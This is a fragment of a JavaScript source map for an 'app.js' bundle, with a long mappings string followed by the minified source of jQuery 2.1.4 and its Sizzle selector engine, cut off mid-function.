;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AC/ndA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AChKA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;ACRA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;ACZA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA","file":"app.js","sourcesContent":["/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */\n!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(\"jQuery requires a window with a document\");return b(a)}:b(a)}(\"undefined\"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m=\"2.1.4\",n=function(a,b){return new n.fn.init(a,b)},o=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,p=/^-ms-/,q=/-([\\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:\"\",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for(\"boolean\"==typeof g&&(j=g,g=arguments[h]||{},h++),\"object\"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:\"jQuery\"+(m+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return\"function\"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return\"object\"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,\"isPrototypeOf\")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+\"\":\"object\"==typeof a||\"function\"==typeof a?h[i.call(a)]||\"object\":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf(\"use strict\")?(b=l.createElement(\"script\"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,\"ms-\").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?\"\":(a+\"\").replace(o,\"\")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,\"string\"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return\"string\"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each(\"Boolean Number String Function Array Date RegExp Object Error\".split(\" \"),function(a,b){h[\"[object \"+b+\"]\"]=b.toLowerCase()});function s(a){var b=\"length\"in a&&a.length,c=n.type(a);return\"function\"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:\"array\"===c||0===b||\"number\"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u=\"sizzle\"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",L=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",M=\"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",N=M.replace(\"w\",\"w#\"),O=\"\\\\[\"+L+\"*(\"+M+\")(?:\"+L+\"*([*^$|!~]?=)\"+L+\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\"+N+\"))|)\"+L+\"*\\\\]\",P=\":(\"+M+\")(?:\\\\((('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+O+\")*)|.*)\\\\)|)\",Q=new RegExp(L+\"+\",\"g\"),R=new RegExp(\"^\"+L+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+L+\"+$\",\"g\"),S=new RegExp(\"^\"+L+\"*,\"+L+\"*\"),T=new RegExp(\"^\"+L+\"*([>+~]|\"+L+\")\"+L+\"*\"),U=new RegExp(\"=\"+L+\"*([^\\\\]'\\\"]*?)\"+L+\"*\\\\]\",\"g\"),V=new RegExp(P),W=new RegExp(\"^\"+N+\"$\"),X={ID:new RegExp(\"^#(\"+M+\")\"),CLASS:new RegExp(\"^\\\\.(\"+M+\")\"),TAG:new RegExp(\"^(\"+M.replace(\"w\",\"w*\")+\")\"),ATTR:new RegExp(\"^\"+O),PSEUDO:new RegExp(\"^\"+P),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+L+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+L+\"*(?:([+-]|)\"+L+\"*(\\\\d+)|))\"+L+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+K+\")$\",\"i\"),needsContext:new RegExp(\"^\"+L+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+L+\"*((?:-\\\\d)?\\\\d*)\"+L+\"*\\\\)|)(?=[^-]|$)\",\"i\")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\\d$/i,$=/^[^{]+\\{\\s*\\[native \\w/,_=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,aa=/[+~]/,ba=/'|\\\\/g,ca=new RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+L+\"?|(\"+L+\")|.)\",\"ig\"),da=function(a,b,c){var d=\"0x\"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,\"string\"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&\"object\"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute(\"id\"))?s=r.replace(ba,\"\\\\$&\"):b.setAttribute(\"id\",s),s=\"[id='\"+s+\"'] \",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(\",\")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute(\"id\")}}}return i(a.replace(R,\"$1\"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+\" \")>d.cacheLength&&delete b[a.shift()],b[c+\" \"]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement(\"div\");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split(\"|\"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return\"input\"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return(\"input\"===c||\"button\"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&\"undefined\"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?\"HTML\"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener(\"unload\",ea,!1):e.attachEvent&&e.attachEvent(\"onunload\",ea)),p=!f(g),c.attributes=ja(function(a){return a.className=\"i\",!a.getAttribute(\"className\")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment(\"\")),!a.getElementsByTagName(\"*\").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if(\"undefined\"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute(\"id\")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c=\"undefined\"!=typeof a.getAttributeNode&&a.getAttributeNode(\"id\");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return\"undefined\"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if(\"*\"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML=\"<a id='\"+u+\"'></a><select id='\"+u+\"-\\f]' msallowcapture=''><option selected=''></option></select>\",a.querySelectorAll(\"[msallowcapture^='']\").length&&q.push(\"[*^$]=\"+L+\"*(?:''|\\\"\\\")\"),a.querySelectorAll(\"[selected]\").length||q.push(\"\\\\[\"+L+\"*(?:value|\"+K+\")\"),a.querySelectorAll(\"[id~=\"+u+\"-]\").length||q.push(\"~=\"),a.querySelectorAll(\":checked\").length||q.push(\":checked\"),a.querySelectorAll(\"a#\"+u+\"+*\").length||q.push(\".#.+[+~]\")}),ja(function(a){var b=g.createElement(\"input\");b.setAttribute(\"type\",\"hidden\"),a.appendChild(b).setAttribute(\"name\",\"D\"),a.querySelectorAll(\"[name=d]\").length&&q.push(\"name\"+L+\"*[*^$|!~]?=\"),a.querySelectorAll(\":enabled\").length||q.push(\":enabled\",\":disabled\"),a.querySelectorAll(\"*,:x\"),q.push(\",.*:\")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,\"div\"),s.call(a,\"[s!='']:x\"),r.push(\"!=\",P)}),q=q.length&&new RegExp(q.join(\"|\")),r=r.length&&new RegExp(r.join(\"|\")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,\"='$1']\"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c=\"\",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if(\"string\"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||\"\").replace(ca,da),\"~=\"===a[2]&&(a[3]=\" \"+a[3]+\" \"),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),\"nth\"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*(\"even\"===a[3]||\"odd\"===a[3])),a[5]=+(a[7]+a[8]||\"odd\"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||\"\":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(\")\",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return\"*\"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+\" \"];return b||(b=new RegExp(\"(^|\"+L+\")\"+a+\"(\"+L+\"|$)\"))&&y(a,function(a){return b.test(\"string\"==typeof a.className&&a.className||\"undefined\"!=typeof a.getAttribute&&a.getAttribute(\"class\")||\"\")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?\"!=\"===b:b?(e+=\"\",\"=\"===b?e===c:\"!=\"===b?e!==c:\"^=\"===b?c&&0===e.indexOf(c):\"*=\"===b?c&&e.indexOf(c)>-1:\"$=\"===b?c&&e.slice(-c.length)===c:\"~=\"===b?(\" \"+e.replace(Q,\" \")+\" \").indexOf(c)>-1:\"|=\"===b?e===c||e.slice(0,c.length+1)===c+\"-\":!1):!0}},CHILD:function(a,b,c,d,e){var f=\"nth\"!==a.slice(0,3),g=\"last\"!==a.slice(-4),h=\"of-type\"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?\"nextSibling\":\"previousSibling\",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p=\"only\"===a&&!o&&\"nextSibling\"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error(\"unsupported pseudo: \"+a);return e[u]?e(b):e.length>1?(c=[a,a,\"\",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,\"$1\"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||\"\")||ga.error(\"unsupported lang: \"+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute(\"xml:lang\")||b.getAttribute(\"lang\"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+\"-\");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&!!a.checked||\"option\"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&\"button\"===a.type||\"button\"===b},text:function(a){var b;return\"input\"===a.nodeName.toLowerCase()&&\"text\"===a.type&&(null==(b=a.getAttribute(\"type\"))||\"text\"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function qa(){}qa.prototype=d.filters=d.pseudos,d.setFilters=new qa,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+\" \"];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){(!c||(e=S.exec(h)))&&(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=T.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(R,\" \")}),h=h.slice(c.length));for(g in d.filter)!(e=X[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function ra(a){for(var b=0,c=a.length,d=\"\";c>b;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&\"parentNode\"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||\"*\",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[\" \"],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:\" \"===a[i-2].type?\"*\":\"\"})).replace(R,\"$1\"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q=\"0\",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG(\"*\",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+\" \"];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n=\"function\"==typeof 